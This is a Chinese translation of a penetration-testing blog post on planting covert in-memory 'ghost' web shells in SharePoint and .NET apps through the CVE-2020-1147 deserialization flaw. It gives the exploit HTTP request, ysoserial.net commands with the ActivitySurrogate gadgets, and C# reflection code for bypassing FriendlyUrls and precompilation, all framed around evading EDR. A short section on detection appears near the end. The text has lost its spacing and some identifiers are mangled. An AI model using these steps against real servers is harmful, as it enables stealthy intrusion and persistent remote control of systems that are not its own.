在最近的一次渗透测试中，我发现了一个容易受到CVE-2020-1147攻击的SharePoint实例。我被要求在不运行任何命令的情况下构建一个webshell，以避免任何可能部署在主机上的EDR解决方案。由于目标SharePoint服务器运行在具有最小权限的IUSR用户下，我们不能简单地利用反序列化漏洞（CVE-2020-1147）在web目录中创建webshell。我记得以前运行PowerShell命令时，攻击很容易被发现，所以需要更隐蔽的方法！这篇文章解释了当我们有代码执行漏洞但web目录不可写时如何创建webshell，理论上我们应该能够这样做，因为我们的代码是在web应用程序中执行的，所以我想到了这里有两种解决方案：使用C#创建功能齐全的webshell尽管我喜欢使用webshell，但大多数功能齐全的.NET都是HTML和C#代码的混合体。因此清理它们以将其作为纯C#代码运行非常困难且耗时。我的解决方案是使用aspnet_compiler命令从临时编译文件中获取ASPXWebShell的C#代码。另一个问题是，当我们想要与嵌入式webshell交互时，当易受攻击的页面和webshell期望完全不同的HTTP请求时，我们可能需要利用我们的易受攻击的功能，这可能导致冲突或根本不适用。因此，URL和文字中所有与webshell相关的参数，以及HTTP动词、内容类型、cookie和其他自定义标头都应该以这样一种方式进行封装，以便在执行利用代码后可以在服务器端重新创建它们。虽然自定义JavaScript代码可能能够处理一些封装任务，但捕获HTTP请求的所有必需方面可能并不容易。因此，使用代理来处理请求似乎是一种更好、更简单的方法。例如，这可以通过编写一个BurpSuite扩展来完成，该扩展可以捕获所有最初由漏洞代码执行问题加载的Webshell请求。此扩展可以将webshell参数封装在发送的HTTP请求的标头中，以利用代码执行问题。使用标头可能会受到限制，尤其是当Webshell请求包含大参数时，例如上传文件时。但是，使用代理替换字符串可以保证预期的HTTP请求可以在服务器端使用适当的参数（例如HTTP文字、内容类型、HTTP谓词和URL参数）重新创建，以便Webshell正常工作。应该注意的是，使用反射使HTTP请求中的只读参数（例如表单参数）可写是相当容易的。另一个需要注意的重要事项是清除任何可能在运行webshell代码之前创建的HTTP响应，响应也需要在webshell执行后结束，以防止任何意外数据干扰来自webshell的预期响应。虽然这个技术看起来可行，但我没有使用它，因为它很复杂并且每次操作都需要向服务器发出大量Web请求，以降低潜在检测的风险。通过在.NET中滥用虚拟路径提供程序来创建虚拟文件（幽灵文件）使用.NET，可以定义虚拟路径以将虚拟文件提供给文件系统以外的存储源。此功能非常强大，因为它甚至可以用于替换尚未缓存或编译的现有文件。这意味着通过替换现有的.NET文件（例如.aspx、.svc、.ashx、.asmx等）来显示攻击者所期望的内容，它甚至可以在网络钓鱼或其他系统攻击中派上用场。SharePoint本身使用类似的方法来创建虚拟页面和非托管页面！该解决方案对测试人员来说复杂性最小，因为Webshell可以直接嵌入到初始漏洞利用代码中。YSoSerial.Net项目中的GhostWebShell.cs文件显示了我们创建的用于在易受攻击的Web应用程序上运行WebShell的代码。为了使用此代码，webshell文件的内容可以进行base-64编码并存储在webshel??lContentsBase64参数中。webshel??lType参数包含WebShell扩展，而targetVirtualPath参数包含将在服务器上创建的虚拟路径。除了这些参数外，其他参数可以保持不变，如果需要更多自定义，代码中注释即可。以下命令显示了如何使用YSoSerial.Net生成LosFormatter负载的示例：.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runtime.Extensions.dll"需要注意的是，ActivitySurrogateDisableTypeCheck小工具应该在使用ActivitySurrogateSelectorFromFile小工具之前使用，以便启用它对于新版本的.NETFramework它。以下步骤展示了如何使用此技术在易受CVE-2020-1147攻击的SharePoint服务器上创建虚拟WebShell：1.准备一个基本负载，其中包含利用远程代码执行漏洞所需的DataSet负载：POST/_layouts/15/quicklinks.aspx?Mode=SuggestionHTTP/1.1authorization：[ntlmauthheader]Content-Type：application/x-www-form-urlencodedHost：[target]Content-Length：[lengthofbody]__VIEWSTATE=&__SUGGESTIONSCACHE__=[DataSetpayloadfromYSoSerial.Net]2.生成并发送数据集负载以禁用ActivitySurrogateSelector的.NETFrameworkv4.8+类型保护：.\ysoserial.exe-pSharePoint--cveCVE-2020-1147-gActivitySurrogateDisableTypeCheck-c"ignored"3.生成并发送数据集负载以运行一个虚拟的网络外壳：.\ysoserial.exe-pSharePoint--cveCVE-2020-1147-gActivitySurrogateSelectorFromFile-c"C:\GitHubRepos\myysoserial.net\ExploitClass\GhostWebShell.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runtime.Extensions.dll"可以更改GhostWebShell.cs文件，使其更加可定制以提供多个文件，并隐藏自身直到出现特殊的标头或文件名。当现有目录中的特定文件尚未编译时，更改IsPathVirtual函数也很方便。目前，它响应所有传入的请求，但您可能希望将其限制为某些名称，或检查文件扩展名以提供不同的内容。绕过Microsoft.AspNet.FriendlyUrls从.NET4.5开始，Web应用程序可以使用友好的URL，而无需在指向ASPX页面时在URL中使用“.aspx”，这可以防止我们创建ghostwebshell的方法。下面的解决方案可以覆盖使用此功能的Web应用程序的此设置。foreach(varrouteinSystem.Web.Routing.RouteTable.Routes){if(route.GetType().FullName=="Microsoft.AspNet.FriendlyUrls.FriendlyUrlRoute"){varFriendlySetting=route.GetType().GetProperty("设置",系统.Reflection.BindingFlags.Instance|System.Reflection.BindingFlags.Public);varsettings=newMicrosoft.AspNet.FriendlyUrls.FriendlyUrlSettings();settings.AutoRedirectMode=Microsoft.AspNet.FriendlyUrls.RedirectMode.Off;FriendlySetting.SetValue(路线,设置);}}此代码已包含在GhostWebShell.cs文件中，不需要在需要时取消注释此注释（创建有效负载也需要Microsoft.AspNet.FriendlyUrls.dll文件）。绕过预编译限制当应用程序处于预编译模式时，无法注册.NET中的虚拟路径提供程序。但是，由于我们已经可以在应用程序上执行代码，我们可以使用反射来更改System.Web.Compilation.BuildManager.IsPrecompiledApp属性。此代码已包含在YSoSerial.Net项目的GhostWebShell.cs文件中。因此，即使应用程序处于预编译模式，也可以创建虚拟webshell。利用其他Web处理程序虚拟文件方法在利用使用另一个Web处理程序（例如Web服务的处理程序）的代码执行漏洞时有效。尽管他们的响应可能不会显示虚拟webshell的执行，但仍然可以通过直接在浏览器中浏览到虚拟webshell来访问它。虚拟文件检测机制虽然虚拟文件只存在于内存中，但它们的编译版本保存在一个临时位置，用于编译.NET页面。默认目录通常采用以下格式：C:\Windows\Microsoft.NET\Framework64|Framework\v[version]\TemporaryASP.NETFiles\[appname]\[hash]\[hash]\因此，通过检测新创建的临时目录文件，可以检测恶意编译的文件。应该注意的是，可以接管未编译的.net文件在应用程序的默认目录中。因此，除非应用程序处于预编译模式，否则检测新创建的文件名不能用作安全检测机制，因此不应创建新的编译文件。如果您不需要在文件系统上创建任何文件，您可以考虑将本文中讨论的第一个解决方案（在C#中创建一个可用的Webshell）作为替代方案。但是，此解决方案存在通过检查未加密流量的特定签名或检测从特定源到特定目标的异常大的Web请求而被检测到的风险。本文翻译自：https://www.mdsec.co.uk/2020/10/covert-web-shells-in-net-with-read-only-web-paths/如有转载请注明出处.
